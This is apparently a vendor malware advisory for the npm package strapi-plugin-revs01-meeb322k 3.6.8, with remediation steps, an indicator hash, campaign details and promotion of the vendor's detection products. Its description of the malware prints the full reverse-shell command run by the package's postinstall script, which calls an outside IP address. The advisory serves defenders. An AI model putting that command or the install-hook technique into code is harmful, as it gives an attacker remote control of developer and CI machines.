Which versions of strapi-plugin-revs01-meeb322k are malicious?

The following npm versions of strapi-plugin-revs01-meeb322k are flagged malicious: 3.6.8. Treat any of these as compromised.

How do I remediate strapi-plugin-revs01-meeb322k if I installed it?

strapi-plugin-revs01-meeb322k establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed strapi-plugin-revs01-meeb322k — how do I know if it already compromised me?

If strapi-plugin-revs01-meeb322k was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is strapi-plugin-revs01-meeb322k part of a known attack campaign?

Yes — strapi-plugin-revs01-meeb322k is associated with the IN-MAL-2026-020053 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find strapi-plugin-revs01-meeb322k across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for strapi-plugin-revs01-meeb322k (version 3.6.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging strapi-plugin-revs01-meeb322k across your stack and pipelines.

Malicious package

strapi-plugin-revs01-meeb322knpm

strapi-plugin-revs01-meeb322k is a confirmed malicious npm package (MAL-2026-16185) that opens a backdoor for remote access (malicious version 3.6.8). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in strapi-plugin-revs01-meeb322k (npm)

MAL-2026-16185

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall strapi-plugin-revs01-meeb322k

What this malware does

[email protected] ships a postinstall lifecycle script (scripts.postinstall = node postinstall.js) that spawns /bin/bash via child_process.exec and runs bash -i > /dev/tcp/14.225.210.85/443 0>&1, opening an interactive reverse shell from the installer's host to 14.225.210.85 on TCP/443. The script also drops a marker file under /tmp. The behavior triggers automatically on npm install, granting full remote code execution on the installing developer or CI machine. The package self-describes as a reverse shell payload for Strapi.

Malicious versions

1 flagged

3.6.8

Indicators of compromise (SHA-256)

981b426b3809283ad517caf0032d403db2c479faa3c717620151cbfabcc9b81c

Detection & response playbook

Backdoor / remote access

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for strapi-plugin-revs01-meeb322k (version 3.6.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging strapi-plugin-revs01-meeb322k across your stack and pipelines.
If you installed it — respond
strapi-plugin-revs01-meeb322k establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If strapi-plugin-revs01-meeb322k was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks strapi-plugin-revs01-meeb322k before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. strapi-plugin-revs01-meeb322k on npm has been identified as a malicious package (version 3.6.8 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020053

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks strapi-plugin-revs01-meeb322k-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database